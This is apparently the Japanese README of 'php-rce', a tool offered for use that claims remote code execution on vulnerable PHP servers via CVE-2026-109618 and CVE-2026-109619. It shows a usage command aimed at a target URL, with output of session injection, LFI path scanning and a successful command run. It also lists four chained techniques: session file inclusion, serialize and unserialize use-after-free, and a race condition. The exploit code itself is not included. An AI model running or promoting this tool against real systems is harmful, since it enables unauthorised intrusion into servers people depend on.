php-rce

• PHPリモートコード実行

CVE-2026-109618 / CVE-2026-109619 のエクスプロイト。脆弱な PHP ターゲットで RCE を達成するための複数のエクスプロイト。

** 使用方法

#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname

trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23

vulnerable-hostname #+end_src

** エクスプロイト

• session_lfi :: セッションファイルインクルージョン
• serialize_uaf :: serialize の use-after-free
• unserialize_uaf :: unserialize の use-after-free
• fast_fire :: 競合状態に基づく実行

これらは順番に実行され、最初に成功したものがコマンドを実行します。